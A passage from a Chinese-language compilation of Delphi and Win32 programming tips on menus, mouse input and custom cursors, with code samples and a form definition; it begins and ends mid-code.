  ncm.lfMenuFont.lfHeight := -MulDiv(FontSize, PixelsPerInch, 72);

  SystemParametersInfo(
    SPI_SETNONCLIENTMETRICS,
    sizeof(NONCLIENTMETRICS),
    @ncm,
    SPIF_UPDATEINIFILE
  );
end;


隐藏弹出式菜单

 ShowOwnedPopups(Form1.Handle, false)


根据分辨率调整菜单长度

procedure TfrmMain.LoadViewMenu;
var
itemNum:
integer;
mnu: TMenuItem;
menuItemHeight: integer;
itemsPerColumn: integer;

begin
{删除当前菜单项}
while mnuView.Count > 0 do
mnuView.Items[0].Free;

  {得到菜单项的高度}
menuItemHeight := GetSystemMetrics(SM_CYMENU) +
2;

  {计算每列菜单数}
itemsPerColumn := screen.height div
menuItemHeight;

  {创建菜单}
for itemNum := 0 to 99 do begin
mnu := TMenuItem.Create(self);
mnu.caption := 'Item ' +
inttostr(itemNum);

    {创建新的菜单列}
if (itemNum mod
itemsPerColumn = 0) and (itemNum>0) then
begin
mnu.break :=
mbBarBreak;
end;

mnu.OnClick := HandleMenuClick;
mnuView.Add(mnu);
end;
end;


把Help菜单移动到窗体的最右边

在设计程序时，我们通常是将Help菜单放到菜单的最后一项，
在这里有一个方法，可以将菜单放到整个Form的最右边，以突出
菜单的显示,在Delphi 1.0时，我们可以这么做

MenuItem1.Caption := #8 + MenuItem1.Caption;

在Delphi 2.0里，我们可以这么做
ModifyMenu(MainMenu1.Handle, 1, mf_ByPosition or mf_Popup or mf_Help,
MenuItem1.Handle, '&Help';
试试吧，很好玩的


制作拖动式菜单

如果利用工具栏TTOOLBAR提供的DragKind(dkDock)、DragMode(dmAutomatic)、TTOOLBUTTON的MenuItem以及包容TTOOLBAR的容器比如TCOOLBAR的DockSite(True)属性即可实现像OFFICE97菜单那样的拖动了。
当然，要使其想真正的菜单那样，还需将TTOOLBUTTON的GROUPED=TRUE。
下面是源代码：
unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, ComCtrls, ToolWin, StdActns, ActnList, ImgList, StdCtrls;

type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
F1:
TMenuItem;
E1: TMenuItem;
H1: TMenuItem;
StatusBar1: TStatusBar;
N1:
TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
A1: TMenuItem;
N4:
TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
T1: TMenuItem;
C1:
TMenuItem;
P1: TMenuItem;
H2: TMenuItem;
I1: TMenuItem;
N7:
TMenuItem;
A2: TMenuItem;
CoolBar1: TCoolBar;
ToolBar1:
TToolBar;
ToolButton1: TToolButton;
ToolButton2:
TToolButton;
ToolButton3: TToolButton;
Edit1: TEdit;
Edit2:
TEdit;
ImageList1: TImageList;
private
{ Private declarations
}
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

end.

窗体As text代码
object Form1: TForm1
Left = 198
Top = 215
Width = 437
Height = 251
Caption = '测试拖动菜单-->梁明'
Color = clBtnFace
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -12
Font.Name = '宋体'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 12
object StatusBar1: TStatusBar
Left = 0
Top = 205
Width = 429
Height = 19
AutoHint = True
Panels = <
item
Width = 50
end>
SimplePanel = False
end
object CoolBar1: TCoolBar
Left = 0
Top = 0
Width = 429
Height = 24
AutoSize = True
Bands = <
item
Control = ToolBar1
ImageIndex = -1
MinHeight = 20
Width = 425
end>
DockSite = True
object ToolBar1: TToolBar
Left = 9
Top = 0
Width = 412
Height = 20
AutoSize = True
ButtonHeight = 20
ButtonWidth = 49
Caption = '快捷工具栏'
DragKind = dkDock
DragMode = dmAutomatic
EdgeBorders = []
Flat = True
ShowCaptions = True
TabOrder = 0
object ToolButton1: TToolButton
Left = 0
Top = 0
Caption = '文件(&F)'
Grouped = True
MenuItem = F1
end
object ToolButton2: TToolButton
Left = 49
Top = 0
Caption = '编辑(&E)'
Grouped = True
MenuItem = E1
end
object ToolButton3: TToolButton
Left = 98
Top = 0
Caption = '帮助(&H)'
Grouped = True
MenuItem = H1
end
end
end
object Edit1: TEdit
Left = 16
Top = 96
Width = 193
Height = 20
TabOrder = 2
Text = '测试"编辑"菜单的命令'
end
object Edit2: TEdit
Left = 16
Top = 128
Width = 193
Height = 20
TabOrder = 3
Text = 'Edit2'
end
object MainMenu1: TMainMenu
Images = ImageList1
Left = 248
Top = 88
object F1: TMenuItem
Caption = '文件(&F)'
object N1: TMenuItem
Caption = '打开'
Hint = '打开'
ImageIndex = 0
ShortCut = 16463
end
object N2: TMenuItem
Caption = '-'
GroupIndex = 1
end
object N3: TMenuItem
Caption = '保存'
GroupIndex = 1
Hint = '保存'
ShortCut = 16467
end
object A1: TMenuItem
Caption = '另存为(&A)'
GroupIndex = 1
Hint = '另存为'
end
object N4: TMenuItem
Caption = '-'
GroupIndex = 1
end
object N5: TMenuItem
Caption = '关闭'
GroupIndex = 1
Hint = '关闭'
ShortCut = 32883
end
end
object E1: TMenuItem
Caption = '编辑(&E)'
object N6: TMenuItem
Caption = '恢复'
Hint = '恢复'
ShortCut = 16474
end
object T1: TMenuItem
Caption = '剪切(&T)'
Hint = '剪切'
ShortCut = 16472
end
object C1: TMenuItem
Caption = '拷贝(&C)'
Hint = '拷贝'
ImageIndex = 1
ShortCut = 16451
end
object P1: TMenuItem
Caption = '粘贴(&P)'
Hint = '粘贴'
ImageIndex = 2
ShortCut = 16470
end
end
object H1: TMenuItem
Caption = '帮助(&H)'
object H2: TMenuItem
Caption = '主题(&H)'
Hint = '主题'
ImageIndex = 1
end
object I1: TMenuItem
Caption = '索引(&I)'
Hint = '索引'
end
object N7: TMenuItem
Caption = '-'
end
object A2: TMenuItem
Caption = '关于(&A)'
Hint = '关于...'
end
end
end
object ImageList1: TImageList
Left = 208
Top = 48
Bitmap = {
494C010101000400040010001000FFFFFFFFFF10FFFFFFFFFFFFFFFF424D3600
0000000000003600000028000000400000001000000001001000000000000008
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000E07FF75EE07FF75E
E07FF75EE07FF75EE07F00000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000FF7F0000E07FF75EE07F
F75EE07FF75EE07FF75EE07F0000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E07FFF7F0000E07FF75E
E07FF75EE07FF75EE07FF75EE07F000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000FF7FE07FFF7F00000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E07FFF7FE07FFF7FE07F
FF7FE07FFF7FE07F000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000FF7FE07FFF7FE07FFF7F
E07FFF7FE07FFF7F000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E07FFF7FE07FFF7FE07F
FF7F000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000E07FFF7FE07FFF7F
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000EF3D0000000000000000
EF3D000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000424D3E000000000000003E000000
2800000040000000100000000100010000000000800000000000000000000000
000000000000000000000000FFFFFF00FFFF000000000000FFFF000000000000
FFFF000000000000FFFF000000000000C00F0000000000008007000000000000
800300000000000080010000000000008001000000000000800F000000000000
800F000000000000801F000000000000C0FF000000000000C0FF000000000000
FFFF000000000000FFFF00000000000000000000000000000000000000000000
000000000000}
end
end


动态创建菜单

在设计程序时,有时我们需要动态地创建菜单, 通常我们使用以下的语句
PopupMenu1 :=
TPopupMenu.Create(Self);
Item :=
TMenuItem.Create(PopupMenu1);
Item.Caption := 'First
Menu';
Item.OnClick :=
MenuItem1Click;
PopupMenu1.Items.Add(Item);
Item :=
TMenuItem.Create(PopupMenu1);
Item.Caption := 'Second
Menu';
Item.OnClick :=
MenuItem2Click;
PopupMenu1.Items.Add(Item);
Item :=
TMenuItem.Create(PopupMenu1);
Item.Caption := 'Third
Menu';
Item.OnClick :=
MenuItem3Click;
PopupMenu1.Items.Add(Item);

Item := TMenuItem.Create(PopupMenu1);
Item.Caption := '-';
PopupMenu1.Items.Add(Item);
Item := TMenuItem.Create(PopupMenu1);
Item.Caption := 'Fourth Menu';
Item.OnClick := MenuItem4Click;
PopupMenu1.Items.Add(Item);
其实我们可以使用一种更快的方法达到同样的功能, 但使用很少的代码, 那就是用NewLine和NewItem, 看看下面的例子, 是不是很简单?
PopupMenu1 := TPopupMenu.Create(Self);
with PopUpMenu1.Items do
begin
Add(NewItem('First Menu',0,False,True,MenuItem1Click,0,'MenuItem1'));
Add(NewItem('Second Menu',0,False,True,MenuItem2Click,0,'MenuItem2'));
Add(NewItem('Third Menu',0,False,True,MenuItem3Click,0,'MenuItem3'));
Add(NewLine); // 增加一个分割棒
Add(NewItem('Fourth Menu',0,False,True,MenuItem4Click,0,'MenuItem4'));


如何添加右键菜单

关于多种环境注册右键弹出事件的方法，请按照以下对应关系：\HKEY_CLASSES_ROOT\Folder\Shell 任意文件夹
\HKEY_CLASSES_ROOT\Directory\Shell 任意目录
\HKEY_CLASSES_ROOT\Drive\Shell 任意驱动器
\HKEY_CLASSES_ROOT\*\Shell 任意文件
新建一个主键，并在主键下添加一个特定主键(command)，修改command的键值指到你的应用程序。例如:
建立\HKEY_CLASSES_ROOT\Folder\Shell\AimTest，将在Folder上按下右键时出现"AimTest"菜单
建立\HKEY_CLASSES_ROOT\Folder\Shell\AimTest，并设定该主键的缺省值为"我的测试菜单"，则将在Folder上按下右键时出现"我的测试菜单"菜单钮。
建立\HKEY_CLASSES_ROOT\Folder\Shell\AimTest\command，并设定command"缺省"键值为"c:\tools\pse.exe" "%1"，则将以Folder名为第一参数启动pse.exe。

* 注意command键值的双引号不可缺省另外：\HKEY_CLASSES_ROOT\Folder\Shellex
\HKEY_CLASSES_ROOT\Directory\Shellex\HKEY_CLASSES_ROOT\Drive\Shellex
\HKEY_CLASSES_ROOT\*\Shellex可以按应用程序在Registroy中的注册ID调用。这样可以调用.DLL和钩子函数。
但建议按第一种方法调用应用程序，因为注册一个ID实在麻烦。如果你的应用程序支持DDE，你可以参考
\HKEY_CLASSES_ROOT\Directory\Shell\Find键的设定来进行DDE设置。


使菜单无效

 procedure TForm1.Button1Click(Sender: TObject);
var
hwndHandle : THANDLE;
hMenuHandle : HMENU;
begin
hwndHandle := FindWindow(nil, 'Untitled - Notepad');
if (hwndHandle <> 0) then begin
hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
if (hMenuHandle <> 0) then
DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
end;


在菜单显示时检测非快捷键

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, Menus;

type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
One1: TMenuItem;
Two1: TMenuItem;
THree1: TMenuItem;
private
{ Private declarations }
procedure WmMenuChar(var m : TMessage); message WM_MENUCHAR;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WmMenuChar(var m : TMessage);
begin
Form1.Caption := 'Non standard menu key pressed';
m.Result := 1;
end;

end.


动态控制菜单

procedure PostVKey(hWindow: HWND; key: Word);
begin
if iswindow(hWindow) then begin
PostMessage(hWindow, WM_KEYDOWN, key, MakeLong(0, MapVirtualKey(key, 0)));
PostMessage(hWindow, WM_KEYUP, key, MakeLong(1, MapVirtualKey(key, 0) or $C000));
end;
end;

procedure TForm1.FakeIt(Sender: TObject);
var
i:
Integer;
begin
PostVKey(Handle, VK_F10);
PostMessage(Handle, WM_CHAR, Ord('e'), 0);
for i:= 1 To 3
Do
PostVKey(Handle, VK_DOWN);
end;


鼠标信息

//判断是否有鼠标安装
function MouseExist : boolean;
begin
if (GetSystemMetrics(SM_MOUSEPRESENT) <> 0) then
Result := True
else
Result := False;
end;
//获得鼠标键数
function MouseButtonsCount : integer;
begin
Result := GetSystemMetrics(SM_CMOUSEBUTTONS);
end;

用法:
begin
if (MouseExist) then
Label1.Caption := 'Mouse-device installed, with ' +
IntToStr(MouseButtonsCount) + ' buttons avialible...'
else
Label1.Caption := 'No Mouse-device installed...';
end;


鼠标安装了吗

 function MousePresent : Boolean;
begin
if GetSystemMetrics(SM_MOUSEPRESENT) <> 0 then
Result := true
else
Result := false;
end;

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:37:00


鼠标越过了一个控件窗体吗

 有时知道鼠标越过一个控件是有用的，例如当鼠标移动到一个按钮上时改变它的颜色。

function IsMouseOverControl(Control: TWinControl): Boolean;
var P: TPoint;
begin
GetCursorPos(P);
Result := Assigned(Control) and IsWindow(Control.Handle) and (WindowFromPoint(P) = Control.Handle)
end;

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:38:00


切换鼠标按钮

要切换鼠标按钮可以调用API SwapMouseButton. ，但这个函数不会改变控制面板中的设置。下面代码修改注册表来实现这个功能。

uses Windows, Registry ;

const

LeftButton = '0' ;

RightButton = '1' ;

VaueToRead = 'SwapMouseButtons' ;

begin

with TRegistry.Create do

begin

try

if OpenKey('Control Panel\Mouse',False) then

begin

if ValueExists(VaueToRead) then

if ReadString(VaueToRead) = LeftButton then

begin

SwapMouseButton(True) ;

WriteString(VaueToRead,RightButton) ;

end else

begin

SwapMouseButton(False) ;

WriteString(VaueToRead,LeftButton) ;

end ;

CloseKey ;

end ;

finally

Free ;

end ;

end ;

end.


TMouse类

 delphi里封装了TMouse类


对智能鼠标的响应

#if(_WIN32_WINNT >= 0x0400)
#define WM_MOUSEWHEEL 0x020A
#endif
#if (_WIN32_WINNT < 0x0400)
#define WM_MOUSELAST 0x0209
#else
#define WM_MOUSELAST 0x020A
#endif

#if(_WIN32_WINNT >= 0x0400)
#define WHEEL_DELTA 120 /* Value for rolling one detent */
#endif
#if(_WIN32_WINNT >= 0x0400)
#define WHEEL_PAGESCROLL (UINT_MAX) /* Scroll one page */
#endif

#define WM_PARENTNOTIFY 0x0210
#define MENULOOP_WINDOW 0
#define MENULOOP_POPUP 1
#define WM_ENTERMENULOOP 0x0211

#define MOUSEEVENTF_WHEEL 0x0800 /* wheel button rolled */

procedure tmditted.applicationonmessage(var Msg: TMsg; var Handled: Boolean);
begin
if (msg.message = 52294) and (MDIchildcount > 0) then //Kollar rullknappen pO en microsoft intellimouse
case msg.wparam of
-120 : activemdichild.activecontrol.perform (em_linescroll,0,-1);
120 : activemdichild.activecontrol.perform (em_linescroll,0,1);
end;
end;

(*
WM_MOUSEWHEEL

The WM_MOUSEWHEEL message is sent to the focus window when the mouse wheel is
rotated. The DefWindowProc function propagates the message to the windows parent.
There should be no internal forwarding of the message, since DefWindowProc
propagates it up the parent chain until it finds a window that processes it.

WM_MOUSEWHEEL
fwKeys = LOWORD(wParam); // key flags
zDelta = (short) HIWORD(wParam); // wheel rotation
xPos = (short) LOWORD(lParam); // horizontal position of pointer
yPos = (short) HIWORD(lParam); // vertical position of pointer

Parameters

fwKeys
Value of the low-order word of wParam. Indicates whether various virtual keys
are down. This parameter can be any combination of the following values:

Value Description
MK_CONTROL Set if the CTRL key is down.
MK_LBUTTON Set if the left mouse button is down.
MK_MBUTTON Set if the middle mouse button is down.
MK_RBUTTON Set if the right mouse button is down.
MK_SHIFT Set if the SHIFT key is down.

zDelta
The value of the high-order word of wParam. Indicates the distance that the
wheel is rotated, expressed in multiples or divisions of WHEEL_DELTA, which is
120. A positive value indicates that the wheel was rotated forward, away from
the user; a negative value indicates that the wheel was rotated backward,
toward the user.
xPos
Value of the low-order word of lParam. Specifies the x-coordinate of the pointer,
relative to the upper-left corner of the screen.
yPos
Value of the high-order word of lParam. Specifies the y-coordinate of the pointer,
relative to the upper-left corner of the screen.

Remarks

The zDelta parameter will be a multiple of WHEEL_DELTA, which is set at 120. This is
the threshold for action to be taken, and one such action (for example, scrolling one
increment) should occur for each delta.

The delta was set to 120 to allow Microsoft or other vendors to build finer-resolution
wheels in the future, including perhaps a freely-rotating wheel with no notches. The
expectation is that such a device would send more messages per rotation, but with a
smaller value in each message. To support this possibility, you should either add the
incoming delta values until WHEEL_DELTA is reached (so for a given delta-rotation you
get the same response), or scroll partial lines in response to the more frequent
messages. You could also choose your scroll granularity and accumulate deltas until it
is reached.

QuickInfo

Windows NT: Use version 4.0 and later. Implemented as ANSI and Unicode messages.
Header: Declared in winuser.h.
*)


将鼠标锁定在一定范围

如何将鼠标锁定在一定的范围内呢？
请在Form中放置二个 Button, 然後分别为这两个按钮定义OnClick响应事件如下:
// 限制
procedure TForm1.Button1Click(Sender: TObject);
var
rtButton2: TRect;
begin
rtButton2 := Button2.BoundsRect;
MapWindowPoints(handle, 0, rtButton2, 2); // 座标换算
ClipCursor(@rtButton2); // 限制鼠标移动区域
end;

// 还原
procedure TForm1.Button2Click(Sender: TObject);
var
rtScreen:
TRect;
begin
rtScreen := Rect(0, 0, Screen.Width,
Screen.Height);
ClipCursor(@rtScreen);
end;


隐藏鼠标

 Use ShowCursor(False) to hide and ShowCursor(True) to "unhide"


模拟鼠标双击

 procedure TForm1.Button1Click(Sender: TObject);
var
pt: TPoint;
begin
pt:= edit1.ClientToScreen( Point( 4,4 ));
SetCursorPos( pt.x, pt.y );
mouse_event( MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
mouse_event( MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
mouse_event( MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
mouse_event( MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
end;
//////////////////////////////
SendMessage(Form1.Handle,WM_LBUTTONDBLCLK,0,0);


鼠标移入、移出控件的消息

DELPHI预定义的两个消息：
CM_MOUSEENTER 和 CM_MOUSELEAVE。 Below 已经提供了部分使用它们的代码，
我试了，对TSPEEDBUTTON有效，相信对其它也有效。
unit SomeForm;
interface
type
TSomeForm = class(TForm)
private
procedure CMMouseEnter(var Msg: TMessage); message CM_MOUSEENTER;
procedure CMMouseLeave(var Msg: TMessage); message CM_MOUSELEAVE;
end;
implementation
procedure TSomeForm.CMMouseEnter(var Msg: TMessage);
var
anObject : TObject;
begin
{ anObject is the control over which the mouse is right now }

anObject := TObject(Msg.lParam);
if anObject nil then begin
{ First, you must find WHICH is the control under the mouse cursor, }
{ then, determine what action to do, etc... }
end;
end;
procedure TSomeForm.CMMouseLeave(var Msg: TMessage);
begin
{ anObject is the control which the mouse has just gone out of }
anObject := TObject(Msg.lParam);
if anObject nil then begin
{ First, you must find WHICH is the control }
{ the mouse cursor has just left, }
{ then, determine what action to do, etc... }
end;
end;
end.


截取光标图案

var ico:Ticon;
begin
ico:=ticon.Create;
ico.Handle:=getcursor;
canvas.Draw(0,0,ico);
ico.free;
end;

DrawIcon(Image1.Canvas.handle, 0, 0, LoadCursor(0, IDC_ARROW));

要得到其他程序/线程的cursor,必须要先把它的输入处理(input process)
挂接到自己的线程里面,代码如下:

//在timer事件里不断显示当前cursor
procedure TForm1.Timer1Timer(Sender: TObject);
var ico:Ticon;
hld:hwnd;
threadld:dword;
mp:tpoint;
begin
getcursorpos(mp);
canvas.FillRect(rect(0,0,32,32));
hld:=Windowfrompoint(mp);
threadld:=GetWindowThreadProcessId(hld,nil);
AttachThreadInput(GetCurrentThreadId,threadld,true);
ico:=ticon.Create;
ico.Handle:=getcursor;
AttachThreadInput(GetCurrentThreadId,threadld,false);
canvas.Draw(0,0,ico);
ico.free;
end;


光标自动隐显

 当您使用解霸2000时，是否注意到它光标自动隐显的功能呢？如果在自己的程序中需要播放视频或动画时加上此项功能，一定会为您的软件增色不少。今天我就来介绍一种实现此项功能的简单方法。

一、功能描述：

运行程序，当光标停留在主页面上达到一定时间后，会自动隐藏，移动鼠标，光标会立即重现。

二、实现方法：

1、启动Delphi，建立新的应用程序。选择“File—>New Application”。

2、加入一个Timer组件，设置“Name”为hide_mouse_timer，设置interval为3000，设置“Enable”为true。并在其OnTime事件中添加一行代码：

cursor:=crNone; //改变光标类型，使其不可见

3、在Form1的OnMouseMove事件中添加六行代码：

if hide_mouse_timer then //判断定时器是否打开
begin //如打开，则重新开始计时
hide_mouse_timer.enable:=false;
hide_mouse_timer.enable:=true;
end;
cursor:=crDelault; //改变光标类型为缺省类型

三、注意：

1、定时隐藏的时间由hide_mouse_timer的interval来确定，单位是毫秒。

2、需要光标自动隐显时，将hide_mouse_timer的enable设置为true即可；

3、需要关闭光标自动隐显功能或关闭此页面时，应将hide_mouse_timer的enable属性设置为false，并将光标类型设置为crDefault；

OK，是不是很简单？试试看吧！该程序在Delphi4/5编译，Winodws95/98运行通过
投稿人：truecat　投稿日期：2001-6-17 11:57:00


使用自定义的光标

一.建立工程与一个资源档
用Image Editor编辑一个鼠游标
    （Fild | New | Resource File）
新建一个 CURSOR_1 的 CURSOR, 设定好它的 Hot Spot
    （Cursor | Set Hot Spot）
存档时注意要和建立的Project存在同一个目录
在本例我们先假定为 MyCursor.res
二. 程序部分
定义一个常数crMyCursor, 这个常数您必须设成大於零
的任何整数， 以 LoadCursor() 函数将自订的鼠标资源
load 进来， 以下为源代码：
// unit.pas
unit Unit1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes,
Graphics, Controls, Forms, Dialogs;

const
crMyCursor = 1; (* 宣告一个常数 *)
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
{$R mycursor.res}//这行$R不可少, 否则自订的鼠游标就出不来了
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
//将鼠标资源 load 进来
Screen.Cursors[crMyCursor] := LoadCursor (hInstance,'CURSOR_1');
Cursor := crMyCursor;//指定 form1 的 cursor 为自订鼠标
Button1.Cursor := crMyCursor;//指定Button1的cursor为自订鼠标
end;
end.


改变系统光标

 Regs.RootKey:=HKey_Current_User;
Regs.OpenKey('\Control Panel\Cursors',False);
Reg.WriteStrig('Arrow',CursorsName);
不过需要重新启动


可否拥有一个大于32x32的光标

找到一个工具,画了一个72x72的大光标,然后用:
SetClassLong(handle, GCL_HCURSOR, LoadCursorFromFile('c:\cursor.cur'));
设置窗口的光标,结果72x72被压缩成了32x32.

于是再查API帮助,里面说cursor的尺寸是由当前的显示驱动支持的,windows
无法显示display不支持的cursor尺寸,如果要检查自己系统所支持的尺寸,可以
用GetSystemMetrics(SM_CXCURSOR)来得到,于是我用该函数测试我的系统,结果
是32.


让彩色光标出现在程序中

  在Delphi中用Loadcursor()得到的光标只有黑白两色，怎样在程序中得到彩色光标呢？笔者尝试制作了以下程序：
    方法一　用Loadcursorfromfile()从外部调入图标作为光标
    Loadcursorfromfile()函数可以读＊CUR，＊ICO，＊ANI为后缀的文件作为光标，其中ICO为彩色图标格式（可用Image Editor制作），ANI为动画光标格式。以下为打开一图标作为光标的演示程序段，当光标移动到测试区域内光标会变成选定的图案；
    {设：opendialog1:Topendialog;Bitbtn1:Tbitbtn}
    procedure TForm1.BitBtn1Click(Sender:TObject);

    var tt:pchar;size:integer;s:string;
begin
if opendialog1.Execute
then
begin
size:=length(opendialog1.filename);
getmem(tt,size);
s:=opendialog1.filename;
strpcopy(tt,s);
screen.cursors[2]:=loadcursorfromfile(tt);
bf.cursor:=2;
freemem(tt,size);
end;
end;
方法二　从资源文件加载彩色光标
用方法一发送程序时必须包含＊CUR文件，因而从资源文件中加载彩色光标是更可行的方法。用图标存放彩色光标，使用时把图标存入临时文件，用Loadcursorfromfile（）从临时文件读出彩色光标。

    程序段：
procedure
ZloadfromResourse(screenindex:integer;name:Pchar);
var
td:ticon;
begin
try
td:=ticon.Create;
td.Handle:=LoadIcon(Hinstance,name);
td.SaveToFile(′temp.cur′);
screen.Cursors[screenindex]:=loadcursorfromfile(′temp.cur′);
deletefile(′temp.cur′);
finally
td.free;
end;
end;
此程序把名字为name的图标变为序号为screenindex的光标;
例：
ZloadfromResourse(2,′myicon′);
Form1.cursor:=2;


改变光标形状

 begin
screen.cursor:=crHourglass;
try
... // do some long-time work
finally
screen.cursor:=crDefault;
end;
end;


编制趣味动画光标

用Delphi编制趣味动画鼠标

    我们经常可以看到许多生动有趣的动画鼠标，其实利用Delphi强大的功能，我们完全可以随心所欲地制作有个人特色的鼠标。我制作了一个名为face的动画鼠标，在常态时，它是一张圆圆的脸，脸上有一双咕噜噜乱转的大睛眼。当按下左（右）键时，脸的左（右）眼就眨一下。如果持续按住，则左（右）眼眨个不停。下面我以这个动画鼠标为例，简述如何制作动画鼠标。
    首先，在Delphi的主菜单工具下选图像编辑器，编辑一个名为face.res的资源文件，它应该包括个人制作的五个.cur文件：faceleft.cur（图为：圆脸上一双向左看的眼睛），faceright.cur（图为：圆脸上一双向右看的眼睛），plainface.cur（图为：圆脸上一双向前看的眼睛），leftshrink.cur(图为：闭着左眼的圆脸），rightshrink.cur（图为：闭着右眼的圆脸）。
    做好资源文件后，打开一个新的窗体FORM1并放置PopupMenu组件，把FORM1的属性PopupMenu置为PopupMenu1。然后在UNIT1的INTERFACE段下加入以下代码：
    {＄ R face.res}
    并在TForm1.FormCreate事件内加入以下代码：
    screen.cursors[1]:=LoadCursor(hInstance,
pChar(′lfaceleft′));
    screen.cursors[2]:=LoadCursor(hInstance,
pChar(′faceright′));
    screen.cursors[3]:=LoadCursor(hInstance,
pChar(′plainface′));
    screen.cursors[4]:=LoadCursor(hInstance,
pChar(′leftshrink′));
    screen.cursors[5]:=LoadCursor(hInstance,
pChar(′rightshrink′));
    screen.cursor:=plainface;
    在TForm1.FormClick事件内加入以下代码：
    screen.cursor:=faceleft;
    screen.cursor:=plainface;
    在TForm1.FormKeyDown事件内加入以下代码：
    if button=MbLeft then
    begin
    screen.cursor:=leftshrink;
    screen.cursor:=plainface;
    end;
    if button=MbRight then
    begin
    screen.cursor:=rightshrink;
    screen.cursor:=plainface;
    end;
    ……
    其余细节，请读者补充。做完一切，运行它，生成exe文件，OK!一个趣味动画鼠标就编制完成，运行它你就可以看到一张生动幽默的圆脸了。当然，你还可以依你的喜好和想象来任意设计其他有趣的动画鼠标。(陕西　张军鹏)


设定系统光标

var
fic,foic : HCursor;

begin
fic:=LoadCursor(hinstance, makeIntResource(1)); // load any
cursor
foic:=GetCursor; // save handle of old cursor
SetSystemCursor(fic, OCR_NORMAL); // use new cursor
{ Restoring cursor
can be done by:
SetSystemCursor(foic, OCR_NORMAL);
}
end;


设定插字符闪烁速度

 SetCaretBlinkTime(500);


改变插字符

unit caret1;

interface

{$IFDEF WIN32}
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
{$ELSE}
uses
WinTypes, WinProcs, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls;
{$ENDIF}

type
TForm1 = class(TForm)
Edit1: TEdit;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
CaretBm : TBitmap;
CaretBmBk : TBitmap;
OldEditsWindowProc : Pointer;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

type
{$IFDEF WIN32}
WParameter = LongInt;
{$ELSE}
WParameter = Word;
{$ENDIF}
LParameter = LongInt;

{New windows procedure for the edit control}
function NewWindowProc(WindowHandle : hWnd;
TheMessage : WParameter;
ParamW : WParameter;
ParamL : LParameter) : LongInt
{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
begin
{Call the old edit controls windows procedure}
NewWindowProc := CallWindowProc(Form1.OldEditsWindowProc,
WindowHandle,
TheMessage,
ParamW,
ParamL);
if TheMessage = WM_SETFOCUS then begin
